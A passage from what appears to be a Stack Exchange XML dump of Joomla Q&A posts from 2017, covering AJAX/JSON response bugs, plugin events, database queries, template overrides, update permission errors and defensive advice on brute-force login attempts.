id, articleOpinion: opinion },&#xA;                    success: function(data){  /* troubles are here */&#xA;                            alert(data[&quot;likes&quot;]);&#xA;                    }&#xA;                })&#xA;                return false;&#xA;            })&#xA;        })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have took the advise and used &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;JResponseJson&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;$marks = plgContentLikesHelper::getMarks($articleID);&#xA;$data=array();&#xA;$data['likes'] = $marks-&amp;gt;likes;&#xA;$data['dislikes'] = $marks-&amp;gt;dislikes;&#xA;//echo json_encode($data);&#xA;echo new JResponseJson($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The response has changed but mistake still be present.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data at line 1 column 84 of the JSON data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:true,&quot;message&quot;:null,&quot;messages&quot;:null,&quot;data&quot;:{&quot;likes&quot;:&quot;6&quot;,&quot;dislikes&quot;:&quot;0&quot;}}{&quot;success&quot;:true,&quot;message&quot;:null,&quot;messages&quot;:null,&quot;data&quot;:[]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you help me find where I'm wrong?&lt;/p&gt;&#xA;" OwnerUserId="11766" LastEditorUserId="11766" LastEditDate="2017-11-13T10:09:43.080" LastActivityDate="2020-06-28T01:28:22.440" Title="JSON.parse: unexpected non-whitespace character after JSON data" Tags="|joomla-3.x|ajax|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21905" PostTypeId="2" ParentId="21886" CreationDate="2017-11-13T10:18:43.397" Score="2" Body="&lt;p&gt;You can do this using &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Regular Lab's Advanced Module Manager&lt;/strong&gt;&lt;/a&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it and activate it, and select the following for the the module settings: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Assigments use Joomla! Content, include pagetype, selection category Blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you the module only on the category blog page, but not on the seperate article-view pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Success!&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="126" LastEditDate="2017-12-13T13:03:18.393" LastActivityDate="2017-12-13T13:03:18.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21906" PostTypeId="1" AcceptedAnswerId="21907" CreationDate="2017-11-13T13:30:37.087" Score="1" ViewCount="179" Body="&lt;p&gt;I have a BT CONTENT SLIDER module on main page of my website to show a list of 3 articles from category called &quot;News&quot; on main page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to read custom params of that articles shown on that component, on &lt;code&gt;/templates/mytemplate/html/default.php&lt;/code&gt;. I googled a lot and tested some solutions, but I could not not find a way to get article ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11046" LastEditorUserId="11046" LastEditDate="2017-11-13T14:08:30.997" LastActivityDate="2017-11-13T14:08:30.997" Title="How to get article id on BT CONTENT SLIDER?" Tags="|module|articles|custom-field|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21907" PostTypeId="2" ParentId="21906" CreationDate="2017-11-13T13:54:16.440" Score="1" Body="&lt;p&gt;From the last try, I got the way to get all three articles on BT CONTENT SLIDER:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list = modBtContentSliderHelper::getList( $params, $module );&#xA;foreach($list as $article){&#xA;  echo $article-&amp;gt;id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the id only from current article, it is so easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $row-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11046" LastEditorUserId="11046" LastEditDate="2017-11-13T14:06:51.987" LastActivityDate="2017-11-13T14:06:51.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21908" PostTypeId="1" CreationDate="2017-11-13T17:01:02.077" Score="0" ViewCount="91" Body="&lt;p&gt;I have hundreds of categories on one Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Joomla administrator category manager, I'd like to find a way to list a category AND ONLY its children subcategories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, I'd like a category AND its subcategories (&lt;em&gt;but only that category and its subcatagories&lt;/em&gt;) to be listed when I use the search filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the category Asia, I have 22 subcategories (i.e. countries such as Bali, Bhutan, Borneo, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use the Category Manager to search for Asia, but then it only shows Asia and not it's subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lfhQr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lfhQr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if I'm missing something obvious (an easy way to do this exists, and I just haven't figured it out yet), or if this is more of a 'wish list' item for the Joomla CMS Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2017-11-13T17:01:02.077" Title="Category Manager: How to show a list of a category AND ONLY its subcategory?" Tags="|joomla-3.x|administrator|category|subcategories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21910" PostTypeId="2" ParentId="21904" CreationDate="2017-11-13T20:22:58.663" Score="1" Body="&lt;p&gt;The answer is in the next simple code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;die();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data=array();&#xA;$data['likes'] = $marks-&amp;gt;likes;&#xA;$data['dislikes'] = $marks-&amp;gt;dislikes;&#xA;echo json_encode($data);&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in Joomla documentation that moment isn't shown.&lt;/p&gt;&#xA;" OwnerUserId="11766" LastActivityDate="2017-11-13T20:22:58.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21912" PostTypeId="1" CreationDate="2017-11-14T09:15:35.453" Score="1" ViewCount="1634" Body="&lt;p&gt;I have tried to update my Joomla website,to the newest update from the admin area. After attempting to update,i have received this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ERROR:&#xA;Could not open archive part file root/temp/Joomla_3.8.2-Stable-Update_Package.zip for reading. Check that the file exists, is readable by the web server and is not in a directory made out of reach by chroot, open_basedir restrictions or any other restriction put in place by your host.&lt;/p&gt;&#xA;" OwnerUserId="11770" LastActivityDate="2018-07-19T07:10:44.387" Title="Errors trying to update joomla 3.8" Tags="|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21913" PostTypeId="2" ParentId="21899" CreationDate="2017-11-14T11:13:48.663" Score="1" Body="&lt;p&gt;There are a couple of problems with your &lt;code&gt;select&lt;/code&gt; and &lt;code&gt;where&lt;/code&gt; clause&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want to select multiple columns, you need to define the columns as an array.&lt;/li&gt;&#xA;&lt;li&gt;You don't need to insert the table name in the &lt;code&gt;where&lt;/code&gt; clause.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;select&lt;/code&gt; clause, you don't appear to be defining the results to then insert&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try this updated code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querySelect = $db-&amp;gt;getQuery(true);&#xA;$querySelect-&amp;gt;select($db-&amp;gt;qn(array('link_id', 'link_name', 'user_id')));&#xA;$querySelect-&amp;gt;from($db-&amp;gt;qn('#__mt_links'));&#xA;$querySelect-&amp;gt;where($db-&amp;gt;qn('link_id') . ' = ' . $db-&amp;gt;q(3));&#xA;$db-&amp;gt;setQuery($querySelect);&#xA;&#xA;$results = $db-&amp;gt;loadRowList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results&lt;/code&gt; is now the variable that contains your results. It may contain more than 1 row of results so you will then need to use a &lt;code&gt;foreach&lt;/code&gt; loop when inserting the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look through the documentation on how to perform database queries: &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-11-14T11:13:48.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21914" PostTypeId="1" AcceptedAnswerId="21919" CreationDate="2017-11-14T13:48:46.190" Score="0" ViewCount="355" Body="&lt;p&gt;I created an alternative layout for an article (in &lt;strong&gt;templates/mytemplate/html/com_content/article/newlayout.php&lt;/strong&gt;). I can see it in the Layout option of the Article =&gt; OK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I would prefer to set this layout from a menu item. I created a menu item as '&lt;strong&gt;Single Article&lt;/strong&gt;' Menu Item Type but I can't see it in the Template Style option. I added a newlayout.xml (based on default.xml) in &lt;strong&gt;templates/mytemplate/html/com_content/article/&lt;/strong&gt; but it does not change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set an article layout directly from a menu item?&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2017-11-15T13:25:38.593" Title="Alternative layout for single article menu item possible?" Tags="|joomla-3.x|overrides|template-override|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21915" PostTypeId="2" ParentId="21899" CreationDate="2017-11-14T19:12:54.403" Score="0" Body="&lt;p&gt;I think @Lodder is right.  You've got to set the first query and then also execute it. After the line...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;setQuery($querySelect);&lt;/code&gt;   ... also add a ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;execute($querySelect);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then continue on as Lodder suggested. :-)&lt;/p&gt;&#xA;" OwnerUserId="9014" LastEditorUserId="126" LastEditDate="2017-11-22T15:59:53.507" LastActivityDate="2017-11-22T15:59:53.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21916" PostTypeId="2" ParentId="9581" CreationDate="2017-11-15T01:47:48.010" Score="0" Body="&lt;p&gt;If you are willing to use a plugin to unset the script tag injected, the following can be useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeRender() {&#xA;    // Front end&#xA;    if ($this-&amp;gt;app instanceof JApplicationSite) {&#xA;        $doc = JFactory::getDocument();&#xA;&#xA;        foreach ($doc-&amp;gt;_script as $key =&amp;gt; $script) {&#xA;            if (stristr($key, 'text/javascript') !== false) {&#xA;                unset($doc-&amp;gt;_script['text/javascript']);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2017-11-15T01:47:48.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21918" PostTypeId="1" CreationDate="2017-11-15T11:02:58.490" Score="0" ViewCount="177" Body="&lt;p&gt;I am trying to create a plugin to make some database queries from the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAuthorisation&quot; rel=&quot;nofollow noreferrer&quot;&gt;event onUserAuthorisation&lt;/a&gt;.  Right now I am just trying to set up a &quot;Hello World&quot; style plugin, because I am not sure yet that my plugin function is even firing correctly.  Right now the plugin should just send out an email when a new user gains authorisation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm that the joomla emails work for user registration and administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Files: &lt;code&gt;autoextranet.php&lt;/code&gt;,&lt;code&gt;autoextranet.xml&lt;/code&gt;,&lt;code&gt;index.html&lt;/code&gt;(empty)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;autoextranet.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class plgUserAutoextranet extends JPlugin&#xA;{&#xA;    public function onUserAuthorisation($user, $options)&#xA;        {&#xA;        $mailer = JFactory::getMailer();&#xA;        $config = JFactory::getConfig();&#xA;&#xA;        $sender = array( &#xA;            $config-&amp;gt;get( 'mailfrom' ),&#xA;            $config-&amp;gt;get( 'fromname' )&#xA;            );&#xA;        $mailer-&amp;gt;setSender($sender);&#xA;&#xA;        $recipient = array( 'email1@gmail.com', 'email2@some.com' );&#xA;        $mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;        $body = &quot;New User: &quot;.$user-&amp;gt;username;&#xA;        $mailer-&amp;gt;setBody($body);&#xA;&#xA;        $mailer-&amp;gt;setSubject('You got a new user.');&#xA;&#xA;        $mailer-&amp;gt;Send();&#xA;        }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;autoextranet.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.8.2&quot; type=&quot;plugin&quot; group=&quot;user&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;PLG_USER_AUTOEXTRANET&amp;lt;/name&amp;gt;&#xA;        &amp;lt;author&amp;gt;Tim DeLise&amp;lt;/author&amp;gt;&#xA;        &amp;lt;creationDate&amp;gt;Nov 14, 2017&amp;lt;/creationDate&amp;gt;&#xA;        &amp;lt;copyright&amp;gt;Tim D&amp;lt;/copyright&amp;gt;&#xA;        &amp;lt;license&amp;gt;GNU General Public License&amp;lt;/license&amp;gt;&#xA;        &amp;lt;authorEmail&amp;gt;your email&amp;lt;/authorEmail&amp;gt;&#xA;        &amp;lt;authorUrl&amp;gt;your website&amp;lt;/authorUrl&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;description&amp;gt;.&amp;lt;/description&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;                &amp;lt;filename plugin=&quot;autoextranet&quot;&amp;gt;autoextranet.php&amp;lt;/filename&amp;gt;&#xA;                &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now is that I have installed and activated the plugin.  When I create and activate a new user, I just get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I have limited access to the server, and haven't been able to view the PHP error logs.  I am looking for some way to confirm that the event is firing my code.  Any suggestion is welcome.  Also this is the first plugin I am making so maybe there is something wrong with my files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version 3.8.2&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2017-11-15T11:02:58.490" Title="Plugin &quot;Hello World!&quot; for User onUserAuthorisation" Tags="|plugin|user|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21919" PostTypeId="2" ParentId="21914" CreationDate="2017-11-15T13:25:38.593" Score="0" Body="&lt;p&gt;Finally, It is available as a Menu Item Type so it's OK.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2017-11-15T13:25:38.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21920" PostTypeId="2" ParentId="21912" CreationDate="2017-11-15T13:43:24.467" Score="1" Body="&lt;p&gt;Seems you have permission issues on your &lt;code&gt;root/temp&lt;/code&gt; directory. Make sure that the web server is able to read and write to that folder; make sure that permissions on that folder and ownership of that folder are both correct.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-11-15T13:43:24.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21924" PostTypeId="1" AcceptedAnswerId="21933" CreationDate="2017-11-15T22:19:27.003" Score="1" ViewCount="957" Body="&lt;p&gt;I’d like to override some files (.php and .xml) in &lt;em&gt;/components/com_users/models&lt;/em&gt;. Can this even be done? Or should I try and make a modified/renamed copy of &lt;em&gt;com_users&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is: Remove the &lt;em&gt;name&lt;/em&gt; field from the user profile and registration forms, replacing it with &lt;em&gt;firstname&lt;/em&gt; and &lt;em&gt;lastname&lt;/em&gt;. I also need to modify &lt;em&gt;registration.php&lt;/em&gt; and &lt;em&gt;profile.php&lt;/em&gt;, so that they stich together a &lt;em&gt;name&lt;/em&gt; from &lt;code&gt;$firstname . ' ' . $lastname&lt;/code&gt;, because Joomla relies on &lt;em&gt;name&lt;/em&gt; to be set to something meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This actually works if I edit the respective files directly, but my changes will be lost with an upgrade to Joomla. &lt;strong&gt;How can I avoid this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11779" LastActivityDate="2017-11-17T09:31:46.003" Title="How do I override an .xml file in a Joomla component?" Tags="|user|overrides|registration|xml|profile|" AnswerCount="1" CommentCount="0" ClosedDate="2017-11-17T09:35:06.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="21926" PostTypeId="2" ParentId="19408" CreationDate="2017-11-16T11:46:40.077" Score="2" Body="&lt;p&gt;This reply may be too late for you, but for anyone in future can refer to this.&#xA;If you are a Joomla developer you must be knowing about the Plugins and triggers they work on, for any change in User block, update, delete etc. Joomla triggers events from User Plugin( refer here =&gt; &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow noreferrer&quot;&gt;User plugin events&lt;/a&gt;)(&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Plugin Events&lt;/a&gt;)&#xA;For your case, you can use either onUserBeforeSave or onUserAfterSave&#xA;better will be to use before save as it will be easy for you to find the change in the value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserBeforeSave($oldUser, $isnew, $newUser)&#xA;{&#xA;    var_dump($oldUser, $isnew, $newUser);&#xA;    die;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $oldUser gives the old values and $newUser gives the new values&#xA;you need to apply proper condition for your operations only when the condition matches the user block.&#xA;Also, onUserBeforeSave method if you return false the user will not be updated but, if you use the onUserAfterSave you will get the updated user object and you have to use your own logic to find the change in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will request all the community users to provide answers to their questions if they have found a solution to the query they report.&#xA;We can learn and grow together.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2017-11-16T11:46:40.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21927" PostTypeId="2" ParentId="18851" CreationDate="2017-11-16T12:01:29.533" Score="2" Body="&lt;p&gt;I had the same issue to fix follow following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomla folder\installation\sql\mysql and open Joomla.sql file find the term  &quot;ENGINE=InnoDB&quot; and replace ALL with  &quot;ENGINE=MyIsam&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MyIsam is more supported and compatible with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this answer somewhere and it solved my issue, may be of help to you.&#xA;If you have a better answer please update here.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2017-11-16T12:01:29.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21928" PostTypeId="1" AcceptedAnswerId="21943" CreationDate="2017-11-16T12:37:48.660" Score="1" ViewCount="231" Body="&lt;p&gt;Consider this code for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo MyLib::getSection($row);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;MyLib&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abstract class MyLib&#xA;{&#xA;    public static function getSection($row)&#xA;    {&#xA;        return '&amp;lt;span title=&quot;$row-&amp;gt;tooltip&quot;&amp;gt;'.$row-&amp;gt;text.'&amp;lt;/span&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need to &lt;b&gt;escape&lt;/b&gt; the values in &lt;code&gt;$row-&amp;gt;tooltip&lt;/code&gt; and &lt;code&gt;$row-&amp;gt;text&lt;/code&gt;. Is there an equivalent of &lt;code&gt;$this-&amp;gt;escape()&lt;/code&gt; that I can call from within the &lt;code&gt;getSection()&lt;/code&gt; method? If I were to call the static function directly, which class should I address to, to avoid override layers as best as possible?&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="11490" LastEditDate="2017-11-16T13:12:01.353" LastActivityDate="2017-11-19T00:03:26.290" Title="How can I use Joomla's 'Escape' method if I'm using an abstract class to construct data?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21930" PostTypeId="1" AcceptedAnswerId="21932" CreationDate="2017-11-17T02:25:42.293" Score="2" ViewCount="436" Body="&lt;p&gt;In all my Joomla sites, I find too many errors on the Logs/error.log like below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla FAILURE:   Username and password do not match or you do not have&#xA;  an account yet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think this indicates someone were trying my admin password. When thinking about the scale of the attempted attack, it feels very uncomfortable.&lt;br&gt;&#xA;Shall I do anything about it?&lt;br&gt;&#xA;What do you guys do?&lt;br&gt;&#xA;And is blocking all the IPs in this list a good idea?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2017-11-21T13:08:30.057" LastActivityDate="2017-11-21T13:19:03.503" Title="What to do with hacker attempts to guess my Admin Password and login in backend?" Tags="|administrator|security|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21931" PostTypeId="2" ParentId="21930" CreationDate="2017-11-17T04:28:35.807" Score="1" Body="&lt;p&gt;You can use an existing Joomla! extension that can identify &lt;a href=&quot;https://en.wikipedia.org/wiki/Brute-force_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;brute-force-attacks&lt;/a&gt; and attempt to stop it, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/brute-force-stop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/brute-force-stop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps code your own version of it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;Note that I have no experience whatsoever in the use of such extensions. I just happened to know what to look for. Happy upgrading!&lt;/i&gt;&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="11490" LastEditDate="2017-11-17T04:34:23.827" LastActivityDate="2017-11-17T04:34:23.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21932" PostTypeId="2" ParentId="21930" CreationDate="2017-11-17T08:43:05.340" Score="5" Body="&lt;p&gt;the most simple thing you can do, is to put a username and password for your administrator folder in cpanel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this way you should first input the username and password to see the Joomla login page.&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2017-11-17T08:43:05.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21933" PostTypeId="2" ParentId="21924" CreationDate="2017-11-17T09:31:46.003" Score="2" Body="&lt;p&gt;You should check Joomla Plugins and Events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are such events like &lt;code&gt;onContentPrepareForm($form, $data)&lt;/code&gt; and &lt;em&gt;(may be you'll want to use &lt;code&gt;onContentPrepareData($context, $data)&lt;/code&gt; but you should be fine with the first one)&lt;/em&gt; where you can get &lt;code&gt;$data&lt;/code&gt; and &lt;code&gt;$form&lt;/code&gt; and modify the form in there with your own XML, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /** @var JForm $form */&#xA;    $form-&amp;gt;loadFile(dirname(__FILE__).'/custom/form.xml',true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will do override that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you dig deep you'll be able to find some triggers in user store algorithm like &lt;code&gt;onUserBeforeSave($user, $isnew, $data)&lt;/code&gt; where you can adjust current data with getting data from the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you'll be working not with &lt;code&gt;user&lt;/code&gt; it may be a solution two just use system event like &lt;code&gt;onAfterRoute&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;set('name',JFactory::getApplication()-&amp;gt;input-&amp;gt;get('firstname').' '.JFactory::getApplication()-&amp;gt;input-&amp;gt;get('lastname'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-11-17T09:31:46.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21934" PostTypeId="2" ParentId="21930" CreationDate="2017-11-17T10:42:34.897" Score="3" Body="&lt;p&gt;Joomla is a well known CMS and it's normally very easy to detect whether or not a site is powered by Joomla. Because of this, knowing the URL of the administrator page is easy to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, you will always get people trying to brute force their way through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it would make you feel uncomfortable, so I'd suggest using Akeeba's &lt;a href=&quot;https://www.akeebabackup.com/products/loginguard.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Login Guard&lt;/a&gt; extensions, which is similar to Joomla's Two Factor Authentication, but is has more features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba's &lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Tools&lt;/a&gt; is also another great extension that comes with some very handy features to add extra security layers to you site&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-11-21T13:19:03.503" LastActivityDate="2017-11-21T13:19:03.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21935" PostTypeId="1" CreationDate="2017-11-17T15:16:27.460" Score="2" ViewCount="1279" Body="&lt;p&gt;I'm having an issue with a specific page on a site I am helping with, i've spoken to the template developer and they are adamant that it is nothing to do with them and will not help (the page loads ok with the Beez3 template). &#xA;Anyway, I am getting the following JS errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: this._addClass is not a function&#xA;at e.(anonymous function).(anonymous function)._create (https://www.waterfrontwest.com/new/templates/incline/js/jquery/jquery-ui-addons.js:6:14102)&#xA;at e.(anonymous function).(anonymous function)._create (https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js:5:5392)&#xA;at e.(anonymous function).(anonymous function)._createWidget (https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js:5:7457)&#xA;at new e.(anonymous function).(anonymous function) (https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js:5:4975)&#xA;at HTMLDivElement.&amp;lt;anonymous&amp;gt; (https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js:5:6699)&#xA;at Function.each (https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js:2:2881)&#xA;at a.fn.init.each 